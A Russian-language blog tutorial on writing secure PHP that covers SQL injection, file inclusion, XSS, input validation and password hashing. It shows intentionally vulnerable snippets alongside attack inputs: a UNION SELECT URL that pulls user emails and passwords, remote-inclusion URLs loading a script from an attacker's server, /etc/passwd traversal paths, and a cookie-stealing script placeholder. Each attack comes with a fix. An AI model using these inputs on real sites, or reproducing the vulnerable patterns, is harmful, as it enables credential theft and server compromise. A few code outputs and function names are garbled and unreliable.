Учимся писать безопасный код на PHP

Для тех, кто хоть как-то касался темы безопасности, знают, что защита информации – это непрекращающийся процесс. Он должен обеспечивать в отношении информации:

  • доступность;
  • целостность;
  • конфиденциальность.

Мне в университете вдалбливали это в голову на протяжении всех пяти лет обучения =)

Этот процесс может обеспечивать какой-то уровень защиты, но при этом невозможно добиться 100% безопасности. Но наша задача как программистов – максимально обезопасить приложение от разного типа угроз.

Ошибки при разработке

Угрозы существуют совершенно разные, и, к сожалению, не все их можно предугадать. Однако существуют наиболее распространенные ошибки, приводящие к появлению уязвимостей в приложениях. В этой статье мы рассмотрим самые популярные типы ошибок, а также способы борьбы с ними. Итак, поехали.

Работа с базами данных – SQL-инъекции

Почему этот пункт первый? Да потому что это – самое важное. В базе данных хранятся все данные о ваших пользователях, именно это интересно вашим конкурентам и прочим злодеям в первую очередь.

Давайте рассмотрим пример уязвимого кода.

<?php

$id = $_GET['id'];
$sql = 'SELECT name, text FROM posts WHERE id = ' . $id;

$db = new mysqli('127.0.0.1', 'root', '', 'database');
$query = $db->query($sql);
$post = $query->fetch_assoc();

echo $post['name'];
echo '<br>';
echo $post['text'];

Здесь у нас в SQL-запрос попадают пользовательские данные. У нас есть база с записями. Мы ищем конкретную запись и выводим поля из базы данных – name и text.
Коварство этого кода в том, что прямо в адресной строке человек может написать следующее:

http://myproject.loc/?id=-1 UNION SELECT email as name, password as text FROM users WHERE id = 1

И наш запрос в базу данных примет следующий вид:

SELECT name, text FROM posts WHERE id = -1 UNION SELECT email as name, password as text FROM users WHERE id = 1

UNION позволяет объединять несколько запросов в один. В параметре мы передали номер несуществующей записи: -1 и первая часть запроса нам ничего не вернула. Затем, во второй части запроса мы обратились к таблице users и выдернули поля email и password, попросив назвать их в выборке как name и text. Этот запрос выполнился, и мы получили в результате email пользователя и его пароль на странице вывода новостей.

Решение – PDO

PDO позволяет защититься от SQL-инъекций, позволяя подставлять корректные данные в нужные места. Это происходит благодаря биндингу передаваемых данных – мы задаём определённые подстановки в запросе, а затем передаём нужные для них значения. Код получится таким:

$id = $_GET['id'];
$sql = 'SELECT name, text FROM posts WHERE id = :id';

$dbh = new \PDO(
    'mysql:host=127.0.0.1;dbname=database;',
    'root'
);

$sth = $dbh->prepare($sql);
$sth->execute([':id' => $id]);

$post = $sth->fetch(\PDO::FETCH_ASSOC);

echo $post['name'];
echo '<br>';
echo $post['text'];

Здесь мы назвали подстановку :id и затем в методе execute передали для неё значение. Всегда используйте PDO и биндинг значений, это не позволит прокинуть что-либо опасное в ваш SQL-запрос.

PHP-injection

Это приём, позволяющий злоумышленнику выполнить произвольный код на сайте. Простой пример: статьи сайта представляют собой файлы с текстом. Для их открытия используется конструкция include, которая принимает в себя get-параметры.

Remote File Injection

<?php 
    $file = $_GET['page']; //Отображаемая страница 
    include $file; 

Чтобы посмотреть статью, хранящуюся в файле main, используется такой URL:

/index.php?page=main

Злоумышленник может подставить вместо main адрес до скрипта с вредоносным кодом, например так:

http://www.атакуемый_сайт.com/index.php?page=http://www.атакующий_серв.com/вредоносный_скрипт.txt

И будет загружен код с сайта, так как конструкция include позволяет выполнять код с удаленных серверов.

Давайте также рассмотрим код, который добавляет к имени файла из параметров какое-нибудь расширение.

<?php 
    $file = $_GET['page']; //Отображаемая страница 
    include $file . '.php'; 

Такую ситуацию можно легко обойти, подставив в get-параметр в конце адреса вопросительный знак.
Тогда URL для взлома будет похож на следующий:

http://www.атакуемый_сайт.com/index.php?page=http://www.атакующий_серв.com/вредоносный_скрипт.txt?

При этом в PHP будет выполнен инклуд файла:

http://www.атакующий_серв.com/вредоносный_скрипт.txt?.php

Как видим, здесь расширение превратилось в query-параметр и будет просто проигнорировано.

Local File Injection

Разумеется, такой код можно использовать и для доступа к секретным файлам на самом сервере. Например, просто указав путь в параметре.

http://www.атакуемый_сайт.com/index.php?page=/etc/passwd

И файл будет выведен в браузере злоумышленника.

Если в начале подключаемого файла имеется какой-то путь, то может использоваться только локальная инъекция.

<?php 
    $file = $_GET['page']; //Отображаемая страница 
    include 'articles/' . $file; 

При этом могут использоваться только относительные пути.

http://www.атакуемый_сайт.com/index.php?page=../../../../etc/passwd

Их могут как подбирать, так и узнать путь до текущего скрипта при возникновении ошибки (если на сервере включен показ ошибок, что является большой ошибкой). Например, передав в get-параметр какую-то несуществующую абракадабру, злоумышленник получит ошибку, при этом будет выведена информация о файле, в котором произошла ошибка. А именно его путь. Используя его можно уже предполагать о примерном расположении разных файлов.

Защита от PHP-инъекций

Можно придумать кучу разных фильтраций. Но я бы посоветовал придерживаться правила – не допускать попадания данных от пользователя в include, require, eval.

XSS-атаки

Тут история следующая. Например, у вас на сайте есть форма для добавления комментариев. И если вы берёте данные от пользователя, сохраняете их и затем выводите комментарии в неизменном виде, то злоумышленник может попросту вставить в тексте код на JavaScript.

Текст комментария. Бла-бла-бла.
<script>а тут отправка cookie-файлов на сайт злоумышленника</script>

Выход – использовать функцию htmlentities()

echo htmlentities('<script>');

Результат:

<script>gt;

Она преобразует символы вроде открывающих скобок в специальные символы, которые браузер отображает как те же скобки и не воспринимает их как теги.

То есть в браузере посетитель увидит просто текст:

<script>

CSP

Ещё одно решение – использовать заголовки Content Security Policy. Если вкратце – они позволяют ограничить ресурсы, к которым разрешаются разного типа запросы. Можно указать откуда можно использовать ресурсы. Мне по теме CSP нравится вот эта статья.

Что ещё следует знать о безопасной разработке

Помимо самых типовых уязвимостей есть ещё некоторые лучшие практики, позволяющие сделать код более безопасным. Давайте их рассмотрим.

Валидация и санитация данных

Все данные от пользователей, обрабатываемые вашим кодом, являются потенциально опасными. Кроме того, зачастую нам нужно попросту добиться того, чтобы данные поступали к нам и хранились в каком-то определенном формате. Таким образом мы можем говорить о некоторой предсказуемости работы над ними. В этом нам помогут валидация и санитация данных.

Валидация подразумевает под собой проверку того, что данные являются тем, что мы ожидаем. Например, телефон может быть записан в разных форматах – с плюсиком в начале, с кодом города в скобках, со знаками тире. И тем не менее это будет правильный телефон. Результатом валидации является булево значение – данные либо корректны, либо нет.

Санитация позволяет очистить данные от лишней шелухи. На примере с тем же телефоном: независимо от того, что мы передали, в результате санитации будет получена строка вида 79130000000.

Что нам в этом плане предлагает PHP

Во-первых – это приведение типов. Все id, которые передаёт пользователь стоит приводить к integer (и не только это, нужно всё приводить к нужному типу).

public function view(int $id);

Во-вторых – регулярные выражения. В PHP существует много функций для работы с регулярными выражениями. Работают они очень быстро, так как библиотеки для работы с ними написаны на C и работа с регулярками происходит на очень низком уровне.

В-третьих, есть встроенная функция filter_var(), которая позволяет как валидировать, так и производить санитацию. Например, чтобы провалидировать email, достаточно написать:

filter_var($email, FILTER_VALIDATE_EMAIL)

Однако вместо этого часто в коде можно увидеть регулярки на сотни символов. Не надо так, всё уже сделано за вас.

Шифрование и хэширование

В первую очередь, хочу сказать, что шифрование – это очень сложная тема, и нужно понимать, что скорее всего вы понимаете её очень поверхностно. Однако есть специально обученные люди, которые занимаются данной темой, и они предлагают лучшие практики, которых стоит придерживаться. В данной статье мы поговорим о хэшировании. Данная процедура подразумевает под собой одностороннее преобразование данных, после которого из получившегося значения невозможно восстановить исходное.

Данный приём часто используется для хранения паролей. Делается это для того, чтобы не хранить исходные пароли пользователей. Так как многие пользователи используют одинаковые пароли на разных сайтах, и если базу с одного сайта украдут и увидят пароли в открытом виде, то скорее всего эти же логин и пароль подойдут и к другим сайтам. Итак, как же это реализуется. Для проверки пароля мы просто шифруем введенный в форму логина пароль по тому же алгоритму и сравниваем значения. Если они совпали – пароль верный.

Долгое время для этого использовался алгоритм MD5. Для создания такого хэша в php есть встроенная функция md5(). Вот пример её использования.

echo md5('password');
5f4dcc3b5aa765d61d8327deb882cf99

В результате хэширования этим алгоритмом получится шестнадцатибайтный код в шестнадцатеричном представлении. Как вы понимаете, число всех возможных хэшей является конечным. Поэтому в результате хэширования двух разных значений может получиться одинаковый хэш. Это называется коллизией. Этим страдают все хэш-функции. Увы, мир несовершенен. Так вот возвращаясь к алгоритму MD5 – сейчас для него существуют так называемые радужные таблицы (rainbow tables), которые позволяют получить значение (не обязательно исходного), которое после хэширования будет совпадать со значением захэшированного исходного значения. Таким образом, зная хэш, можно быстро получить пароль, который позволит войти на сайт.

Потом придумали добавлять соль. Или, как ещё выражаются, «солить хэши». Суть в том, что к исходному паролю добавляется какой-то текст. В результате получается другой хэш.

echo md5('password' . 'salt');
b305cadbb3bce54f3aa59c64fec00dea

Когда пользователь вводит пароль, мы также добавляем к его паролю эту строку, хэшируем получившееся значение и затем сравниваем получившееся значение со значением в БД.

Таким образом обеспечивается защита от Rainbow Tables, так как вероятность коллизии уменьшается за счёт того, что в хэшируемом тексте обязательно должна совпасть соль.

Составлять для подсоленных значений радужные таблицы никто не будет, однако MD5 даже с солью на сегодняшний день довольно быстро подбирается, особенно если это кому-то очень нужно.

Итак, использование MD5 – это ошибка. Это устаревший, небезопасный алгоритм. Которым, тем не менее, многие продолжают пользоваться.

Как же быть с хранением паролей?

Сейчас в PHP есть специальные функции для хэширования, которые используют современные алгоритмы шифрования. Это функции _passwordhash() и _passwordverify(). Первая функция создаёт хэш для значения.

echo password_hash('password', PASSWORD_DEFAULT);
$2y$10$Ot7AIHSuyDo13Kj6fl2ZOOc7fVCX6fmWx11H6qZQE/J4SLwpN.qQ6

Во вторую передаются введенный пароль и хэш, полученный первой функцией. В результате вернётся false или true, в зависимости от того, правильный ли пароль.

var_dump(
    password_verify(
        'password',
        '$2y$10$Ot7AIHSuyDo13Kj6fl2ZOOc7fVCX6fmWx11H6qZQE/J4SLwpN.qQ6'
    )
);
boolean true

В эти функции уже встроена работа с солью, и она автоматически добавляется в хэш при его создании, и так же извлекается из хэша при сравнении его с введенным паролем. Используйте эти функции и будет вам счастье.

Заключение

В этой статье я лишь поверхностно рассказал о наиболее популярных ошибках начинающих разработчиков, а также привёл примеры того, как нужно с ними бороться. Сейчас я бы посоветовал вам изучить каждое из этих направлений более детально, чтобы понимать, чего стоит бояться в первую очередь. Гугл вам в помощь.

Какие ещё бывают факапы в плане безопасности?

Разумеется, у всех бывают факапы, все мы люди. Недавно и у меня был - в файле конфигурации проекта лежал пароль от почты для отправки писем по imap. Забыл запретить этот конфигурационный файл в .gitignore, как результат – пароль оказался в открытом доступе на github. К счастью, нашёлся человек, который написал мне об этой ошибке. Пароль я тут же поменял, а человека отблагодарил небольшим материальным бонусом. Разумеется, мне сильно повезло. Ведь имея доступ к почте, можно было получить доступ к отправленным письмам и слить базу пользователей. Или, что ещё хуже, разослать им с этой почты какую-нибудь гадость.

Решение в данном случае следующее – игнорить все конфиги в .gitignore сразу при их создании, а лучше вообще выносить их за пределы репозитория.

А какие ошибки в плане безопасности совершали Вы? Пишите в комментариях, предупредим друг друга о возможных ошибках.

loader
Логические задачи с собеседований